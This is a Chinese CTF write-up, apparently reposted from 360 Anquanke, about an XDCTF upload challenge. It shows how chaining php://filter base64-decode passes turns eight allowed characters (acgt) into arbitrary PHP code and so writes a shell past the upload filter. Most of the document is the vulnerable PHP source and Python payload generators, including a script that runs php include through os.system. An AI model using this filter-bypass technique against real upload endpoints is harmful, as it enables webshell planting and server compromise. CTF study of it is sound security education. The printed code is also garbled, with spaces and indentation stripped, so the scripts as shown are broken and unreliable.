Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】XDCTF Upload引发出来的一个新思路

0
0
【技术分享】XDCTF Upload引发出来的一个新思路

2017-10-11 10:00:20

阅读:1163次
点赞(0)
收藏
来源: 安全客





【技术分享】XDCTF Upload引发出来的一个新思路

作者:Lucifaer





【技术分享】XDCTF Upload引发出来的一个新思路

作者:Lucifaer

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

在十一的XDCTF中有一道Upload题引出的如何通过固定的几个字符,利用php伪协议中的convert.base64-encode来写shell。


0x00 一道题引出的话题

我们首先抛砖引玉,来看一下这道题的关键代码:

<?php error_reporting(0); session_start(); if(isset($_FILES[file])&&$_FILES[file]['size']<4**8){ $d="./tmp/".md5(session_id()); @mkdir($d); $b="$d/".pathinfo($_FILES[file][name],8); file_put_contents($b,preg_replace('/[^acgt]/is','',file_get_contents($_FILES[file][tmp."_name"]))); echo$b; } 这道题限制了使用php://input、data://、read://。关键的考点就是如何过这个正则/[^acgt]/is。

ok,正则表示我们只能使用acgtACGT这么8个字符,那么我们如何通过这8个字符来写shell呢?

下面我们就用这8个字符来尝试生成我们的payload,以达到执行我们的php代码的目的。


0x01 解决问题的关键——base64解码函数tips

解决上述问题的关键,就是base64的解码规则。

首先你应该知道的:

base64使用的字符包括大小写字母26个,加上10个数字,和+、/共64个字符。

base64在解码时,如果参数中有非法字符(不在上面64个字符内的),就会跳过。

举个例子:

以r举例,我们可以看到可以通过ctTT进行base64解码后取得:


【技术分享】XDCTF Upload引发出来的一个新思路
【技术分享】XDCTF Upload引发出来的一个新思路

那么我们顺着这个思路,就可以得到一张通过已经给出的8个字符所得到的所有字符的字符表:

importbase64 importstring fromitertoolsimportproduct frompprintimportpprint #base64基础64字符 dict=string.ascii_letters+string.digits+"+/" #利用可用字符替换其他字符 defexchange(allow_chars): possible=list(product(allow_chars,repeat=4)) table={} forlist_datainpossible: data="".join(list_data) decode_data=base64.b64decode(data) counter=0 t=0 foriindecode_data: j=chr(i) ifjindict: counter+=1 t=j ifcounter==1: table[t]=data returntable if__name__=='__main__': chars='acgtACGT' pprint(exchange(chars))

代码很简单,就是将acgtACGT取了单位元组为4个元素的笛卡尔积,之后将每个笛卡尔积所组成的新的字符串进行base64解码,结果如下:


【技术分享】XDCTF Upload引发出来的一个新思路
【技术分享】XDCTF Upload引发出来的一个新思路

目前只有26个元素,剩下的怎么得到呢?

我们改一下我们的脚本:

importbase64 importstring fromitertoolsimportproduct frompprintimportpprint #base64基础64字符 dict=string.ascii_letters+string.digits+"+/" #利用可用字符替换其他字符 defexchange(allow_chars): possible=list(product(allow_chars,repeat=4)) table={} forlist_datainpossible: data="".join(list_data) decode_data=base64.b64decode(data) counter=0 t=0 foriindecode_data: j=chr(i) ifjindict: counter+=1 t=j ifcounter==1: table[t]=data returntable deflimited_exchanging(allow_chars): tables=[] saved_length=0 flag=True whileTrue: table=exchange(allow_chars) length=len(table.keys()) ifsaved_length==length: flag=False break saved_length=length print("[+]Got%dchars:%s"%(length,table.keys())) tables.append(table) allow_chars=table.keys() ifset(table.keys())>=set(dict): break ifflag: returntables returnFalse if__name__=='__main__': chars='acgtACGT' pprint(limited_exchanging(chars))

最后可以得到这样的映射表:


【技术分享】XDCTF Upload引发出来的一个新思路
【技术分享】XDCTF Upload引发出来的一个新思路

图很长,就不截了。

通过base64解码的特性,我们将8个字符拓展到了64个字符,接下来就是将我们的原数据进行转换就好了。


0x02 剩下的一些要注意的点

1. decode次数的问题

根据上面的代码,我们只需要len(tables)就可以知道我们转换经历了几次的过程,这边len(tables)是3次。

需要注意的是,在利用php://filter/convert.base64-decode/resource=的时候,需要len(tables) + 1,也就是说是4次,没毛病吧。

2. 在利用我们得出的映射表时,怎么迭代向前替换问题

将tableslist从后向前遍历,最后得到的即为全部是指定字符的payload。


0x03 最终的脚本

importbase64 importstring importos fromitertoolsimportproduct #base64基础64字符 dict=string.ascii_letters+string.digits+"+/" #得到payload完成base64编码后需要进行替换的向量 defpayload_base64_encode(data): returnbase64.b64encode(data).decode().replace("\n","").replace("=","") #利用可用字符替换其他字符 defexchange(allow_chars): possible=list(product(allow_chars,repeat=4)) table={} forlist_datainpossible: data="".join(list_data) decode_data=base64.b64decode(data) counter=0 t=0 foriindecode_data: j=chr(i) ifjindict: counter+=1 t=j ifcounter==1: table[t]=data returntable #迭代得出完整的映射表 deflimited_exchanging(allow_chars): tables=[] saved_length=0 flag=True whileTrue: table=exchange(allow_chars) length=len(table.keys()) ifsaved_length==length: flag=False break saved_length=length print("[+]Got%dexchange_chars:%s"%(length,table.keys())) tables.append(table) allow_chars=table.keys() ifset(table.keys())>=set(dict): break ifflag: returntables returnFalse #得到最后的payload defcreate_payload(tables,data): encoded=payload_base64_encode(data) print("[+]Payloadbase64:"+encoded) result=encoded fordintables[::-1]: encoded=result result="" foriinencoded: result+=d[i] returnresult defmain(): payload=b"<?phpecho\"hackedbylucifaer\"?>" limit_chars='acgtACGT' filename=limit_chars tables=limited_exchanging(limit_chars) iftables: cipher=create_payload(tables,payload) withopen(filename,"w")asf: f.write(cipher) print("[+]Theencodeddataissavedtofile(%dBytes):%s"%(len(cipher),filename)) command="php-r'include(\""+"php://filter/convert.base64-decode/resource="*( len(tables)+1)+"%s\");'"%(filename) print("[+]Usage:%s"%command) print("[+]Executing...") os.system(command=command) else: print("[-]Failed:%s"%tables) if__name__=='__main__': main()

0x04 总结

这道题提出了一个比较好的思路,值得学习



【技术分享】XDCTF Upload引发出来的一个新思路
【技术分享】XDCTF Upload引发出来的一个新思路
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4523.html

Viewing all articles
Browse latest Browse all 12749